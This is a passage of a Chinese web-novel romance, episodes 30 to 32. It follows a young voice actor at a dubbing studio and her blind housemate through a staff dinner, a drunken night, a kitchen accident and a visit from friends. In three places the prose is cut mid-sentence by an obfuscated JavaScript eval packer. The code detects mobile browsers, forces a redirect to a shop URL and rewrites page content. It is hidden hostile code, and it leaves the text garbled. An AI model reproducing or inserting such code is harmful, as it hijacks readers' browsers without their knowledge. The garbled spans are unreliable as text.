原本只有一句“小贼,看我不收拾你。”苏木硬生生和导演battle,说这里需要表现他惊人的剑术和口才,软硬兼施,将小贼收服到他石榴裤下。说着说着不知怎么又聊到自己最近有在健身,碳水几乎没碰,明晚聚餐他要补回来,然后又聊到隔壁邻居他二姑妈的表婶的妹妹的侄女今年高考…… “导演导演,我口哨最近吹得贼带劲,要不要加上一个?” 关山只长叹一口气,摘下眼镜,捏着眉心指了指苏木,“你,先别说话……” 又指了指林桐,“桐姐先来。” 沈桉羽瘫在沙发上,眉头紧皱,看她的脸色就想给苏木丢上一块拖鞋,在脸上留下印记那种力度,她拿起手机,“这苏木就知道拖大家的时间,废话怎么这么多,上辈子是个哑巴吧。” 她滑动手机,又啧了一声:“池老板,全民马拉松又来了,咱工作室还得上一个人,你看抽签还是拼酒,我这次喝死也不去了。” 池晚桑眨了眨眼睛,很是无辜的样子,“那今年陈藻去。” 陈藻立马放下哑铃,还真是个健身达人,“凭什么?我,我不方便。” “你有什么不方便?”沈桉羽瞪他。 “不方便,去……” “我去吧。”秦叠弱弱地在角落举手,她之前在学校八百米跑耐力还行,虽说和马拉松比不值一提,但毕竟又不需要拿名次,还能为工作室做贡献,她这个社会健康活泼积极热血青年当然义不容辞。 然而她还是低估了半马,或者说高估了刚毕业,四肢将退化还未退化大学生的脆皮度。看见沈桉羽脸上阴转晴就觉有鬼,“好,那报你名字,到时候我们去给你加油!” 拉拉扯扯,池晚桑和秦叠两人的对手戏又精雕细琢一阵子,拖到傍晚十一点才彻底结束,一期节目的工程量和幕后付出这么大,秦叠是万万没想到的。 他们配完时,大家都走得差不多,苏木也收拾好正要出门,忍不住抱怨了句:“你们真不做人啊,两个人配到天荒地老算了。”然后打了个哈欠推门而出。 池晚桑没理他,揉了揉肩膀,问:“一起回去?今天配的不错。” “好。”秦叠在后面做收尾工作,自然应下,也打了个哈欠。 此时门口苏姓同学阴魂不散地伸出头来,像是发现了什么惊天大事,“一起回去?” 秦叠惊得连忙找补,“苏老板也住小广场那边吗?一起走?” 苏木卸下气来,耸了耸肩,“不顺路,明天见。难怪呢,这两人……” 然而明天秦叠再见到池晚桑,绿意盎然地从卧室出来时,心道: Whatthe*生机勃勃! 30. episode30 小,小……小瞎子?! 秦叠一嘴橙汁差点没喷出来,在这片绿意中开出几朵雏菊。 没想到池晚桑平时看着万事不放在心上,随便一拉出来就能走秀的样子,背地里是得到高人相助啊。 秦叠将嘴里的橙汁咽下去,这次的高人水平不错。 早晨的太阳还未毒辣,毛茸茸的金光轻轻飘落在池晚桑松绿色的衬衣上,像是古老森林里掩埋许久的祖母绿,温柔地承接住灰尘、鸟雀、落叶以及林中的一切。 他像一首诗,发出新芽的诗。 “咳咳,池老板今天这身不错,帅!”秦叠毫不掩饰以及略显直白的夸赞让池晚桑有些不好意思。 他礼貌地笑了笑,“谢谢。” 装,再装! 怎么会这么巧,两人就住同一片屋檐下,池晚桑发出的求助就刚好被秦叠拦下。秦叠这下发现了好玩的事情,歪着嘴笑了笑,“池老板,上次我说的APP你下了吗?真的挺好用的。” “下了,是不错。”池晚桑拿过秦叠准备好的餐盘,今天她出门买了豆浆和肉包,闻起来有股葱香。 秦叠俯身凑过去,来了兴致,故意扬起声调,“是嘛?那,你觉得里面的志愿者怎么样?人还不错吧?” 池晚桑没多想,喝了口豆浆,“还可以,就是戒备心太重,捏着嗓子说话,像鸭子的声音。” …… 到底是谁戒备心重啊…… 无趣,秦叠不知道他这嘴还能吐出什么象牙,不想问了。 晚上的饭局池晚桑也没换衣服,他这套似乎并不常穿,也不知道秦叠哪句触动了他,竟然真的就穿了这套。 聆镜本就不是拘束很多的组织,到了酒桌上,在工作室里保持的那一点边界瞬间荡然无存。苏木一开始就和陈藻对着炫了一瓶酒,“欢迎秦叠入职聆镜,祝贺聆镜越来越好!我们干了!” 秦叠虽说不是能言善辩的人,但大学社团、老师、各种社交活动里摸爬滚打出来,捧场是她基本的技能。 “我陪一个!”今天大家都高兴,难得。 “唉,想起聆镜刚起来的时候,池晚桑和我过得那叫一个凄惨,所有钱都供在了事业上,水电费都快交不起,那时候吃泡面吃的满脸是痘,肠胃不好,幸好配音演员都在幕后……” 每逢大家齐聚喝酒畅舒胸意的时候,总有一两个人伤春悲秋,感怀万千,拿起酒杯当麦,痛斥生活的苦难,细数古今五千年。 “那时候啊,我们洗一次衣服都精打细算,还好我俩不嫌弃,你穿过了我穿,重复利用……” 池晚桑听不下去,夹给他一块孜然羊肉,“饭桌上,别太恶心。” 筷子刚好就落在苏木碗里,他们这些年出来吃饭,苏木一直在池晚桑右手边,距离不远不近地照顾着。 而池晚桑也熟悉了他的距离。 苏木此时喝的有点懵懵懂懂,提杯问,“我现在除了聆镜,没啥梦想了,就希望我们越走越远!越来越好!” 见没人理他,林桐笑着提杯应和苏木,“我也是,把欠桉羽的钱还了,赎完身我就攒钱环游世界!” 沈桉羽瞪了她一眼,也跟着喝了一口,“我啊,觉得现在这样挺好的,喝一两小酒,朋友三五个,做自己喜欢做的事,敬不被谁定义。” 这氛围,秦叠不再跟一个就过分了,“很开心认识这么优秀的哥哥姐姐们,以你们为榜样,我想……发大财!” 秦叠困于金钱方面不是一天两天了,之前社团聚餐,为了不让大家太照顾自己,花钱总是大手大脚,出去一次把半个月奶茶店的工钱都给贡献出去的事不少。 她的梦想就是实现财富自由,只有自己独立了,才有底气面对,甚至放弃面对一些东西。 池晚桑听了则不然,秦叠活得太谨慎,祝酒词前都要先恭维一番大家,她自己虚与委蛇久了,很难发现。可聆镜从来没这些场面官话,她一出口,池晚桑便听出了话里的小心谨慎。 陈藻见不跟一个不行,也举杯跟着说:“少加班,多发钱!” 大家起哄,说还得给池老板留个棺材本,池晚桑最后不得不笑着抿了一小口,“不惧不畏,多晒太阳。” 晒太阳是他唯一能感知光的时刻,阳光在皮肤上游走,细细密密带来遥远宇宙的温暖,融化地面快要结冰的人群。 “好,说得好!”一片唏嘘中,秦叠的声音颤颤巍巍,又格外响亮,“池老板太替我们着想了,你真的很贴心!” 秦叠朝池晚桑竖起大拇指,嘴巴微嘟,眉心微蹙,双颊上晕出淡淡酒红。 如果说池晚桑认为她之前是在应付差事奉承大家,那么微醺后夸夸团团长秦叠上线,他又该如何应对。 秦叠的话开始逐渐密集,不过竟还带着一丝理智,她扭头拍拍林桐的肩膀,“林桐姐,我第一次到聆镜开始,你一直在帮我融入大家,你说话好温柔,像个暖心大姐姐,真的很感谢你。” 林桐还没来得及回复,秦叠干了一杯,然后小眼神顺着往后飘忽,落到沈桉羽身上,“还有桉羽姐,我第一个活就是你给我的,没有你,我傻傻的都不知道从何做起。” 陈藻低低笑了声,但很快就轮到他了,秦叠说得情真意切,却又没半点醉态,让人分不清她想干什么,“陈哥,虽然你不怎么说话,但是你,总是能注意到细节,及时伸出援手,你就是聆镜最坚强的后盾。” 苏木笑着指秦叠,“说得好,我呢,有没有提名的?” “当然少不了苏老板,”秦叠很认真地说,“来聆镜就是因为你在这儿,当时真的很喜欢你配的所有人物,声线复杂多变,学都学不来。” “Respect!” 她说的很稳,脸上没有过分的红,不太像喝醉,真的像在和哥哥姐姐们吐露心声。不过秦叠现在只觉得脸上发烫,全世界怎么都这么好,有种想向所有人表白的冲动。 最后,她将手托在两只掌心中间,手肘靠在桌面上,开花了一样面容慈祥地看向所有人,在一片吵闹声中,小声感叹了句,“大家真好。活着真好。” “喝醉了?”结账的时候,几个人七零八落,傻笑着和旁边的人打招呼,秦叠和池晚桑坐着没动,旁边冷冷传来与这迷醉气氛并不相符的声音。 过分清醒了。 “没,就是腿有点抖,我缓缓再站起来。”秦叠说得认真,她确实脑子里并不混乱,也并不觉得今晚她的话有些过分多了。 “苏老板去付钱了,陈哥在厕所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666650|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,林桐姐他们在外面等,我们也出去吗?”秦叠觉得这波分析条理清楚,一人不落,脑子没坏,还有意识,她很满意。 “你腿不抖了就走吧。” “好,你还是这么细心。”秦叠毫不遮掩表达自己的夸赞,向池晚桑竖起大拇指,然后向他身后看了眼,“你的盲杖在椅子旁边,我们走吧。“ 池晚桑默了默,说:“好。” 秦叠扶着桌子颤颤巍巍站起来,连带着桌上的陶瓷碗筷碰撞发出铃铛一样的脆响,她有些不好意思,解释道,“嘿,头一回喝酒,把腿给喝软了。” 还没等她新奇完,池晚桑一手挽在她胳膊下,“走吧,我扶你。” 虽然这里酒气弥漫,但池晚桑还是在靠近秦叠的时候,明显闻到她身上更浓郁的酒精。 她确实没少喝。或迫于社交,或因为高兴,猛灌了不知有多少杯。 “不用不用,就是有点抖,我不会酒精过敏吧……走还是能走,你先走,我断后,保护你。”秦叠脑子还是清醒地知道池晚桑眼睛的情况,一把把他的手给薅走,又利落地让到一旁。 说的,也不完全是假话。 苏木结完账,他倒是有些迷糊了,找了半天出口,最后一脑袋撞在别人的鱼缸上,一个大脸贴在水缸边,估计给几尾金鱼造成不小的阴影。 “好了,各回各家,各找各妈,池晚桑,我,送你。” 秦叠挥挥手,不客气地说,“我送他。” 想了想觉得不太对劲,趁着大家酒劲下反应慢,又补充道,“我送他,不,他送我,有什么区别呢,哈哈哈。” 池晚桑:…… 但这群人并没有反应过来,该吐的还在吐。苏木一拍头,恍然醒悟,“哦,忘了,你们住得近,那你们一起回吧,我也快坚持不住了。” 秦叠笑笑,“对,一起回家!” 饭馆外荒唐的几个醉鬼就这样各奔东西,秦叠确实除了兴奋些,话多了点,没什么醉态,走得甚至比平时都快。 闷头走一段路,忽然发现池晚桑不见了,慌张回头,“池晚桑?池晚桑?” “这里。”池晚桑拄着盲杖从拐角走出来,她放慢脚步和池晚桑并排走,让池晚桑跟紧,晚上一个人走夜路不安全,但隔了不一会儿又走远了,惊慌间又回头找池晚桑。 她这状态,一时竟有些分不清到底谁是看不见的一方。 “池晚桑?”秦叠又喊他。 “嗯?” “你这小区治安好像不太行,我看见一个人好几次了,鬼鬼祟祟的,大半夜带着帽子,不像好人。”秦叠正想给他指,猛地顿住收回手来,不满地小声朝那人啧了一声,“嘿,见着人就跑,半夜小心鬼上门。” 毕竟要是真的不法分子,她和池晚桑,一弱一残,加起来一定都不是对手,还是躲在背后蛐蛐比较好。 怂,但安全。 池晚桑的注意却被她放松所有警惕后,不经意露出的乡音给吸引。虽然知道他们是老乡,但两人没有说过家乡话,忽然间听到还有些亲切。 池晚桑也喝了点,鬼使神差间,他喊出了一个名字。 而秦叠下意识嗯了一声。 “秦柔桑。” “嗯?” 31. episode31 不知道是太久没听见这个名字,还是被自己下意识的应答给吓到,秦叠瞬间脑子里像被抽走了一根神经,强光灌进来,清明无比。 “嗯……嗯?你说什么?” 池晚桑也从刚才一问一答的熟练中抽身出来,勉强笑了笑,“你的口音让我想起来很久以前的一个朋友,忽然想起她的名字,就念出来了。” 秦叠跟在他旁边,脚步变慢,“很久没联系了吗?” “嗯,”池晚桑抿了抿唇,“好几年了。” 秦叠不知怎么心跳得厉害,想要继续追问下去,又怕一颗心跳出喉咙,碎在自己面前。她心神不宁间没注意到盲道上倒下的自行车,池晚桑直直撞了上去。 “对不起。” 他第一反应仍旧是道歉。 秦叠心里不是滋味,下次她要让他少说些抱歉。 秦叠回神,忙扶起地上的车,重量不轻,她很费了点力气,“没事没事,是自行车倒了,说不定就是刚才那个偷车贼,看见我们来了,没来得及挑出称心的,转头就跑。” “哐当”一声自行车扶正,她对着黑暗,怂且咬牙切齿地说:“总有一天我要逮住他,然后叫保安。” 回去后,等池晚桑回房间睡觉,秦叠偷摸又爬出来将带回去的半瓶酒给灌下肚,喝得半斤八两,似醉未醉,总觉得没舒爽。像浇水一定要浇透,从花盆底座渗出来,植物也才喝得舒爽。 池晚桑躺在床上,想起楼下他无意间喊出的名字,这么些年,他还是没能放下。不知道她过得如何,是还随着爸妈四处搬家吗?高考结果是好是坏?有找到哥哥吗? 从她搬家那天起,谁也没想到竟再也不见,过往的一切只定格在他帮她分析志愿填报的那个晚上。 客厅里有声响,窸窸窣窣,如果不是熟悉秦叠的脚步声,池晚桑会以为有老鼠。他出去的时候,秦叠正坐在客厅阳台边的地毯上,听见门开的声响,回望了他一眼,“抱歉,吵醒你了吗?” 池晚桑闻到空气中的酒精,皱了皱眉,“怎么还在喝?” 秦叠俏皮地偏了偏头,“醉了睡得快,睡不着吗?要不要来点?” 池晚桑摇了摇头,抱着双膝在她旁边坐下,他很高,将月光全然挡住,秦叠往前挪了挪。 然后第二天早上阳光直射到眼睛里,她朦朦胧胧醒来的时候,只觉得脖子后的枕头太硬了。一伸腿,撞在茶几上,桌面陶瓷茶杯轻快作响。 她彻底醒了。 惊恐间头也没抬,僵硬地伸手去摸脖子后的“枕头”。 好长……一条腿。 “醒了?”池晚桑的声音也闷闷的,显然被她捏醒的。 秦叠一骨碌爬起来,后腰撞上沙发,趔趄了一下,紧急时刻,凭借超强腰腹力量站定,不过这位置有些尴尬。 她跨在池晚桑身上,而池晚桑右手抬起遮住眉心,慵懒地揉了揉,嘴巴微张,颈间睡衣松开一颗扣子,皮肤白得透红,随着呼吸起伏。 秦叠又是一阵慌乱,像是做错事的太监,跨过他,拘谨地弯腰退到一边,还揉了揉自己脑袋,努力回想昨晚发生了什么。 “我,我们怎么在客厅睡了?” “你不记得了?”池晚桑顶着被折磨了一夜的较弱模样,动了动脚,长舒一口气。 秦叠慌了,“我,我记得什么?” 池晚桑打了个哈欠,撑着沙发慢慢坐起来,慢条斯理地说:“一开始,你说你要哄我睡觉,给我念书。” 他伸手从地上抓来一本格林童话,好像是,垫着睡觉用的…… “然后,念到卖火柴的小姑娘,你忽然哭了……” “说你还想继续读书,但是没有火柴许愿。你又不想许愿,用完火柴,梦就该醒了,说你的梦想是当灰姑娘的后妈,白雪公主里的女巫,有钱又任性,死了也是自作孽。” 秦叠双目圆睁,她不记得自己说了这么多话,更不敢相信池晚桑正在全文复述! “我,我乱说的,想钱想疯了,你别当真。” 池晚桑表情平静,接着说:“然后你说你要和我分享一个喜欢看的视频,但是博主很久没更新了,于是我们把他所有视频都看了一遍。” 池晚桑揉了揉头发,“不过视频没有配音,全程是炒菜、切菜和水龙头放水的声音,我什么也没看懂。” “对不起!”秦叠九十度标准鞠躬,“昨晚……” 你就不该出来。 “我……我绝不会跳槽,池老板放心!” 池晚桑却不甚在意,“没事,你也该这样放松休息一下,每天高强度训练,嗓子会受不了的。” 进厕所前,他还是顿了顿,“可以在职读研,你刚来,聆镜工作不是很忙,有想法就去实践。” 这天聆镜全员放假,临时的,因为没一个人起得来。 池晚桑一晚上没睡好,怕把秦叠吵醒,动也不敢动,白天正好用来补觉。 于是,唯一一个休息好了的人,秦叠,决定将功补过。 池晚桑拉开衣柜,里面有一个木箱,打开箱子,最上面是个老旧的MP3,戴上耳机,里面是他很久以前录的声音,这些年睡不着的时候习惯拿出来听一听,助眠效果不错。 秦叠恭恭敬敬守在门口,本意是想随叫随到,却看到几个熟悉的东西,“箱子里是什么?” 池晚桑停住将要关上的动作,温柔地笑了笑,“我小时候的东西,弹弓,作业本,望远镜,还有以前的玩具,东西不多,一直没扔,你要看吗?” “不用不用,收好吧,挺珍贵的回忆。”秦叠余光看见最下面压着的粉红色信封,撇了撇嘴,还有情书是吧。 是他说的那个喜欢的人吗? 秦叠耸了耸肩,关好窗帘,自以为五星级服务,退出房间前温声说了句:“好梦。” 然后下定决心要让池晚桑睡醒后得到一份惊喜的爱心晚餐,弥补昨晚的失态。 先在网上搜索相应食谱,选来选去,已经过了一小时,情急之下果断选择东北大乱炖,从技术上看,似乎是十分好下手的,厨房里有什么炖什么,食谱就起到一个造型上的作用。 洗菜,切菜,慢慢来,秦叠还是可以应付,可意外也只在一瞬间发生,切辣椒的时候,青椒形状不规则,在菜板上一滚,手起刀落,案上鱼肉就是她左手孤零零的食指。 新奇的是,切下去的时候并不疼,眼看着鲜血汩汩而出,手上也只是由清凉转为滚烫。秦叠傻傻地看了一会儿,觉得可惜,忙用嘴含住食指…… 她本来就有些贫血,不能浪费了。 右手放下刀,习惯性地揉了揉眼睛,于是乎,悲剧上演。 双眼一阵刺痛,眼皮像是在火炉边炙烤,一睁开便迫不得已闭上。 辣椒水流了进去…… 池晚桑醒的时候,辣意已经渗透到鼻尖,秦叠在水池边不知所措地一个劲儿吸鼻涕,另一只手顾不得鲜血直流,样子着实有些狼狈。 “怎么了?”池晚桑闻声皱了皱眉。 秦叠如实说,看不见也不敢乱动,就杵在水池边无奈道:“辣椒进眼睛,看不见了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678419|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >头一回睁不开眼睛,她的感官还没有盲人那么灵敏,忽然被池晚桑抓住,还是吓了一跳。 “我带你去沙发上坐着。”池晚桑的声音很轻柔,像是在安抚她的情绪,和她商量的口吻,“好吗?” “嗯。”秦叠将右手拿远,避免擦在池晚桑,仍由池晚桑拉着往黑暗里走。目前的情况,池晚桑算是这件屋子里唯一一个明眼人了。 秦叠能感受到忽然坠入虚空的失重感,脚下像灌了铅,半步不敢迈开,黑暗虽然很广阔,她却像被关在一个和自己同等大小的黑盒子,稍微莽撞的动作便会碰壁。 即使理智告诉她黑暗里什么都没有,可以放心迈开步子,伸出手去触摸,她还是怕摸到潜藏的毒蛇,和等在不远处的饿狼。 不可避免地,将自己一层层包裹。 但她此时并不是很害怕,出于对池晚桑的认识,她相信池晚桑,即使在黑暗里,他会宁愿自己掉下悬崖,也会带着她平稳地落下每一脚。 可他刚失明那会儿,从来没有人去拉他的手。秦叠也没有,她甚至根本没去找他。 摸到池晚桑小拇指关节处的薄茧,秦叠不自觉回握住他,捏紧了池晚桑的手。 “没事,用水洗洗,坐一会儿就好了。”池晚桑以为她害怕,也抓紧她的手。 两个人同处在黑暗里,慢慢地走,从厨房到客厅,似乎走了好久好久。而她走的路,池晚桑早就用无数个跟头和叹息踏实了凹凸不平的地面。 秦叠闭着眼睛,池晚桑眸色浅淡,牵着她走到阳台边,摸了摸午后被晒得温暖的沙发,阳光将两人紧紧包裹,在黑夜里留下温暖的足迹。 “坐这儿吧,我去拿创口贴。”他站起来,听了半刻,随口说,“今天风还挺大。” “啊?没事的,一个小口子。”秦叠说着叹了口气,“本想着给你做顿好吃的,对不起啊,又搞砸了。” 她已经不想去惊讶池晚桑怎么发现的,他比她想象得更坚强。 不一会池晚桑就回来了,又顿在她面前,“你自己贴吧,这个忙我就帮不了了。”他将外包装撕开,轻声笑了笑,“你是不是加入了什么炸厨房小组,每次都有新的情况。” “做的是什么菜?” 秦叠埋头沮丧地说:“东北乱炖……” 池晚桑拿起盲杖起身,“那没有排骨可不行,今天你受伤了,得吃肉,吃啥补啥。我去买点,你在沙发上坐会儿吧,无聊了叫岫白陪你。” 房门关上的瞬间,屋子里一下子安静得可怕。秦叠这才听见窗外呼呼的风声,平日里忙碌着生活的人只会关注晴天阴天,对拂面而来的风却是丝毫不见。 但这些细节却组成了池晚桑的日常,她仰靠在沙发上,鼻尖是淡淡木香,隔着玻璃,外面的声响都是闷闷的,鸣笛声,车流划破空气的声音,夏日的蝉鸣,还有小贩不知道在叫卖什么。 一个毛茸茸的头蹭了蹭她的手,她听见均匀令人安心的温热呼吸。 “真乖,岫白。”秦叠笑着揉了揉它的头,像池晚桑平日里那样。 可池晚桑一直没回去,他去超市买完排骨后,一头撞在铁皮墙上,刺耳的金属碰撞声吓了路人一跳。他这才知道,就在刚才,回去的路被围起来了,市政建设,他得绕回去。 可他从来没走过另一条路,这些看似熟悉的路线,他走了不下上千遍,池晚桑心里也升起久违的悬空感,他迷茫地望了望周围。 秦叠找到他的时候,他已经跟着导航绕了好几圈,而耳机里还传来池向榆不满的声音,“你什么时候结婚了?” 32. episode32 鬼地图一直反复重复同一句话,“掉头,您已偏离路线”,“前方五十米掉头”,“前方五米掉头”,“前方掉头,”“掉头”。 池晚桑难得烦躁地关闭地图APP,骂了句:“人工智障。” 可他离开这家伙,还能走到哪儿去?明明家就在背后,抬头就能看见那栋建筑物,他却困在原地,找不到出口。 十字路口上红灯绿灯交替闪烁,池晚桑能感受到身边的人如潮水般来来去去,和多年前一样,他站在秦叠家门口,手里捏着她新家的地址,一时间没了方向。 像片飘零的浮萍,无依无靠,西风一吹,便身不由己。 鸣笛声格外刺耳,贴着他的耳郭刮过,司机好像伸出头来骂了他一句找死吗,池晚桑被人往后拉了一步,“小心点,你没事吧?” 池晚桑讷讷地摇头,“没事,谢谢,我看不见,不是故意站那么危险的。” “你要过街吗?”那人又问,显然是有想帮他的意思,可池晚桑兜里的手机响了,他笑着摇了摇头。 那人便趁着绿灯,混入人流,匆匆走了,池晚桑只是他路上遇见的小插曲,他还有自己的事要忙。 机械女声无感情地报了一串数字,池晚桑当然知道这是谁,接通电话,往后侧边又退了两步。 “喂?” “你什么时候结婚了?”池向榆显然又在用他的身份干什么事,冷不丁在屏幕上看见“已婚”两字,脑子还没反应过来,便气急败坏给他哥打了过来。 池晚桑如实说,话里并没有太多感情,“前不久吧。” “池晚桑你厉害啊,为了防我,随便找个人就结婚。你这情况,你知道她看上你哪儿点了吗?别最后引狼入室,把家偷了还替别人数钱。”池向榆说得毫不委婉,语气恨恨的,像是想把池晚桑一口吃掉。 “实习找到了吗?”池晚桑忽然打断他,“快毕业了吧,今年暑假要赚实习学分。” 电话那头忽然沉默,池向榆鼻孔里哼了一声,池晚桑觉得这声音有点像岫白。 “我倒要看看那女的是谁。” 那头随即挂了电话。 池晚桑皱着眉又发给他一条信息,“别去找她。” 正在这时,秦叠的声音就在不远处响起。 池晚桑猛地抬头。 他这条件,谁能看上他?现在细想秦叠的理由,不是没有漏洞,一起生活了这么久,池晚桑都快习惯了…… 会走的吧。 池晚桑长舒一口气,心里的石头落了地,他牵起嘴角,“在这里。” 街上脚步声很杂,他还是分明听见了熟悉的脚步,加快了频率,朝自己走来,越来越近,越来越近。清晰得像是在空旷的房间里,只有她的脚步声。 直到秦叠的呼吸能够触碰到他的脸,“你没事吧?我刚下来看见楼下在修路。” 一定要走。 池晚桑摇摇手里题着的排骨,“没事,排骨也买好了,幸好你来了。不然今晚你就要贴寻人启事去局子里捞我了。” 秦叠看见长裤下的脚踝上又有淡淡淤泥,忍不住啧了一声,“摔了一跤?” “昂。”池晚桑含羞笑了笑,像是被发现做错事的小孩,“刚才导航一直带着我绕圈,说我走错了,一着急磕上店铺门口的台阶。” “我总算知道你家为什么那么多跌打损伤药了。”秦叠又没忍住啧了一声,将池晚桑手里的排骨拿过来,池晚桑还要推辞,她说:“我就提回去,你做饭,我不和你抢。” 夏日正盛,故事漫长得好像能有一辈子,他们在蝉鸣中慢慢走,秦叠拉着池晚桑,身后盲杖轻轻敲击地面,像是在说他一直都在。 回去后总算开始做饭,还是池晚桑操刀,秦叠热得不行,去换了身衣裳。 站在衣柜前,看着那件碎花吊带短裙,她有些犹豫。之前一个人在家,穿这件相当凉快,可现在多了一个人,又好像没多…… 树荫下夏蝉嘶鸣,算了,她果断穿上裙子,又不是没穿衣服,怕什么。 裙子很宽松,秦叠太瘦了,穿起来空荡荡的,像是偷穿了大人的衣裳,她就这样肆无忌惮地在池晚桑旁边打下手,短裙下摆偶尔擦过池晚桑裤子,轻轻柔柔,无人在意。 “热吗?”池晚桑问,“灶台边热气重,离远一点。” “还好,”秦叠躲着热气往后退了半步,果然凉快了些,又看着池晚桑仍旧冰山一样面无表情,像个冰皮馅儿的月饼,里面是甜的。 “我要去洗衣服,你有要洗的吗?” “不用,你自己洗吧。”池晚桑手上动作没停,将排骨洗净,放入调味料腌制,按摩,让酱汁入味。 “你都做饭了,不用客气,昨天那套松绿色衬衫我帮你洗了吧,我洗衣服很干净,放心。” 高中她和爸妈搬到了外婆的房子,舅舅也住这里,而她爸妈整日整日不着家,家里似乎只有她和舅舅,外婆,还有一个小男孩四个人。 秦叠小时候就很喜欢看书,因为成绩不错,受班主任委托,在教室留到最晚帮几个成绩不行的辅导作业。而她舅舅对她这种谄媚班主任的行为十分不屑,每次看见她看书的时候,便伸过手给她合上,让她帮忙照顾弟弟。 那个时候她就常帮着洗衣服,因为舅舅作为家里常见的一个成年男性,又秉持女孩子读书无用论,她没办法。 寄人篱下,总是要小心谨慎些。 但她不想说这些了,不过衣服确实洗的干净。 池晚桑推辞不过她,答应了一声,又提醒她不要贪凉,尽量用温水洗。 岫白见秦叠从池晚桑房间拿了衣服出来,有样学样,叼着池晚桑的白色T恤也跟着秦叠进了卫生间,秦叠哭笑不得,伸手接过来,这狗还挺护主。 不远处池晚桑不小心碰到窗台的含羞草,怯怯地摸了一下叶子,发现合拢成薄薄的一片,心中惶恐,叫了声秦叠,“我好像把你的含羞草给弄死了。” 语气里竟有几分颤抖,自从上次听见余庆说这株草陪了她那么久,池晚桑就再难靠近窗边了。 “啊?”秦叠从卫生间探出头来,身下的岫白也转身朝池晚桑的方向探出去,“没事没事,它就是这样的,营养不良,摸起来像是快断气了,一直活得好好的。” 她有点想笑,池晚桑个子很高,一手拿着铲子,另一只手不知所措地虚虚护着窗台上的含羞草,像个……新手奶爸? 岫白似乎也觉得无趣,鼻子里哼出一团热气,摇摇晃晃走出去。房间里窗帘大开着,风和阳光都可以肆意进来,地板上被晒得温热,岫白懒散地找了个被太阳晒暖的地方,团成一团煤球模样,舒服地眯了眯眼。 中途秦叠接到一个myeyes的求助,她避开池晚桑,有种做贼心虚的感觉,接通后是个开朗的女孩,第一句话就是祝她下午快乐。 生活很慢,时间很长,所有平凡而琐碎的美好都仿佛聚集在这一刻,有人做饭,有人收拾房间,有狗晒太阳,有草缓缓舒展。 还有阳光。 其实他们之前也住在一起过。 池晚桑家住的离学校近,高二下学期复习紧张起来后,有时候池晚桑外婆和秦叠外婆商量,舍不得小孩子背着书包走那么远,会留下她住一两晚。秦叠自然乐得同意,池家的饭比自家好吃。但好吃的人要求总是要高一点,所以池晚桑偶尔还会上场表演一顿,那就有口福了。 也不知道这家伙哪儿来那么多精力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687700|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兼顾学习和做饭的,秦叠百思不得其解。 那时候秦叠长得白白净净的,成绩又好,人也不错,常常会收到男生送来的礼物。不收白不收,秦叠拿回去给池晚桑,说是当租金,然后不顾池晚桑略显冰冷的脸色请他帮忙讲几道题。 那时候的日子似乎也是这样,细水长流的,偶尔投入一颗石子,在青春期的他们眼里,也掀不起半点波澜。 下午的时候,平淡如水的日子又被一个不速之客给打断。 余庆打电话来问秦叠和池晚桑在不在,他胡汉三带着娘家人又回来了! 秦叠拦都拦不住,小声说:“下回吧,你这来太勤了,我很为难你懂吧。” “不用为难。”余庆声音很大,又转头对周静昀说买那个大颗的葡萄,看着就甜,“我已经和姐夫打过招呼了,他很欢迎我们。” “不要乱叫……” 似乎总有这么一个规律,品尝过池晚桑的手艺后,都会情不自禁地来蹭饭,秦叠认识的人里面无一幸免,包括她自己。 池晚桑对余庆的印象确实不错,虽说第一回见面,对方就表现出了超出常人的热情,让他有些招架不住,但余庆趁着秦叠去买醋,对他说了一句话,让池晚桑对这个人瞬间多了几分好感。 他说,秦叠虽然看起来大大咧咧的,其实性子有些压抑,人是好人,希望不要折在他手里。 话糙,但池晚桑知道里面的情分。 “怎么关窗了?”秦叠见池晚桑拉上薄纱窗帘阻隔阳光,这举动让岫白有些不满。 池晚桑继续走向茶几,拿起空调遥控器,“待会儿有客人来,开会儿空调吧,别把人家热出一身汗。” 这姐夫可不是白叫的。 然后过了一会儿,人还没来,秦叠先回房间换了套长袖长裤的睡衣。 难怪这家伙晚上开空调会感冒,温度也调太低了。 周静昀见着池晚桑后,和余庆一个模子里刻出来的没出息样子,不,好像他们社团都是一个模子里刻出来的。 “池,池大,久仰久仰!”周静昀在衣服上擦了擦手上的汗,环视一圈四周,向着秦叠无声呐喊一番,又平静地说,“我们带了葡萄来,祝聆镜大红大紫!” 啧,秦叠扶额,一个社交场合教出来的干瘪官话。 “谢谢。”池晚桑笑着侧身让他们进门,余庆还在一旁安利池晚桑的嗓子,说的天花乱坠,有如神助。 